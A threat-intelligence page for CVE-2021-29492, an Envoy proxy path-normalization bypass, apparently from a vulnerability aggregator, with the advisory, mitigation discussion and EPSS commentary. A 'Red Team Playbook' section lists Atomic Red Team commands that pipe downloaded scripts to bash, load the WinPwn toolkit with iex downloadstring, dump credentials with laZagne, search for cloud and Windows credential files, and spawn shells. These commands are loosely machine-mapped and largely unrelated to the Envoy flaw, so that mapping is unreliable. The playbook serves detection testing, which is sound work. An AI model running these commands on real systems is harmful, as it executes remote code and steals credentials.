CVE-2021-29492
Overview
This vulnerability is a path traversal flaw caused by Envoy proxy's failure to decode escaped slash sequences (%2F and %5C) in HTTP URL paths prior to version 1.18.3. The root cause lies in Envoy's URL path normalization process that does not interpret these encoded characters, affecting the path filtering and access control mechanisms within the proxy's HTTP routing component.
Vulnerability Description
Envoy is a cloud-native edge/middle/service proxy. Envoy does not decode escaped slash sequences `%2F` and `%5C` in HTTP URL paths in versions 1.18.2 and before. A remote attacker may craft a path with escaped slashes, e.g. `/something%2F..%2Fadmin`, to bypass access control, e.g. a block on `/admin`. A backend server could then decode slash sequences and normalize path and provide an attacker access beyond the scope provided for by the access control policy. ### Impact Escalation of Privileges when using RBAC or JWT filters with enforcement based on URL path. Users with back end servers that interpret `%2F` and `/` and `%5C` and `\` interchangeably are impacted. ### Attack Vector URL paths containing escaped slash characters delivered by untrusted client. Patches in versions 1.18.3, 1.17.3, 1.16.4, 1.15.5 contain new path normalization option to decode escaped slash characters. As a workaround, if back end servers treat `%2F` and `/` and `%5C` and `\` interchangeably and a URL path based access control is configured, one may reconfigure the back end server to not treat `%2F` and `/` and `%5C` and `\` interchangeably.
Impact
An unauthenticated remote attacker can bypass URL path-based access control policies by exploiting Envoy's failure to decode escaped slashes, enabling unauthorized access to protected backend resources. This can lead to privilege escalation in environments using RBAC or JWT filters relying on path enforcement. The attacker requires network access to send specially crafted HTTP requests containing encoded slash sequences. The CVSS vector (AV:N/AC:H/PR:N/UI:N) indicates remote exploitation without privileges but with high attack complexity due to required crafted input.
Solution
Upgrade envoyproxy envoy to version 1.18.3 or later, where patches introduce a path normalization option that decodes escaped slash characters. Versions 1.17.3, 1.16.4, and 1.15.5 also contain relevant fixes. As a workaround, reconfigure backend servers to not treat %2F and / or %5C and \ interchangeably if URL path-based access control is used. Refer to the Envoy security advisory at https://github.com/envoyproxy/envoy/security/advisories/GHSA-4987-27fx-x6cf for detailed patch instructions and version-specific guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Envoy, a widely used cloud-native edge and service proxy, arises from its failure to decode escaped slash sequences in HTTP URL paths. Specifically, the issue lies in the handling of encoded characters such as `%2F` (representing a forward slash) and `%5C` (representing a backslash). In versions prior to 1.18.3, Envoy does not properly interpret these encoded characters, allowing an attacker to craft malicious URLs that can bypass access controls. For instance, a path like `/something%2F..%2Fadmin` could potentially grant unauthorized access to sensitive areas of a web application, such as an administrative interface, by evading restrictions that would normally block direct access to those paths.
The primary attack vector for this vulnerability involves the manipulation of URL paths delivered by untrusted clients. An attacker can exploit this flaw by sending specially crafted requests that include escaped slashes. When these requests reach a backend server that decodes the URL, the server may interpret the path in a way that bypasses the intended access control mechanisms. This could lead to privilege escalation, particularly in environments utilizing role-based access control (RBAC) or JSON Web Token (JWT) filters that enforce policies based on URL paths. The ability to access restricted resources can have severe consequences, including unauthorized data exposure or manipulation.
In real-world scenarios, the impact of this vulnerability can be significant, especially for organizations that rely on Envoy as a critical component of their infrastructure. The risk is exacerbated in environments where backend servers treat encoded slashes and their unencoded counterparts interchangeably. If an attacker successfully exploits this vulnerability, they could gain access to sensitive administrative functions or data, leading to potential data breaches, compliance violations, and reputational damage. The financial implications of such incidents can be substantial, with costs associated with remediation, legal liabilities, and loss of customer trust.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First, it is essential to upgrade to the patched versions of Envoy, which include a new path normalization option that correctly decodes escaped slashes. Additionally, organizations should review their backend server configurations to ensure that they do not treat encoded and unencoded slashes interchangeably. Implementing robust logging and monitoring can also help detect suspicious activity related to unauthorized access attempts. Regular security assessments and penetration testing can further identify potential weaknesses in the system, allowing for proactive measures to be taken before an attacker can exploit the vulnerability.
In conclusion, the vulnerability in Envoy presents a serious threat to organizations that utilize this proxy in their architecture. By understanding the technical details, potential attack vectors, and real-world implications, organizations can take informed steps to mitigate risk. Upgrading software, reviewing configurations, and maintaining vigilant security practices are critical components of a comprehensive defense strategy against this and similar vulnerabilities.
CSURFACE threat intelligence has detected a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-29492, rising sharply by over 550% to a current level placing it in the 99th percentile. This rapid increase, coupled with a sustained upward trend over the past week, indicates growing interest and potential exploitation attempts targeting Envoy proxy instances vulnerable to path normalization bypass. Although no new exploit techniques or proof-of-concept code have been publicly disclosed, the elevated EPSS score suggests that threat actors may be actively preparing or testing attack vectors that leverage this vulnerability. For defenders, this shift underscores an increased likelihood of exploitation in operational environments, raising the urgency for enhanced monitoring and risk management. Consequently, the threat level associated with CVE-2021-29492 should be considered heightened, reflecting a transition from theoretical risk to a more imminent and actionable threat posture.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Envoyproxy | Envoy | All |
cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*
|
|
|
Envoyproxy | Envoy | All |
cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*
|
|
|
Envoyproxy | Envoy | All |
cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*
|
|
|
Envoyproxy | Envoy | All |
cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-29492 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/envoyproxy/envoy/security/advisories/GHSA-4987-27fx-x6cf |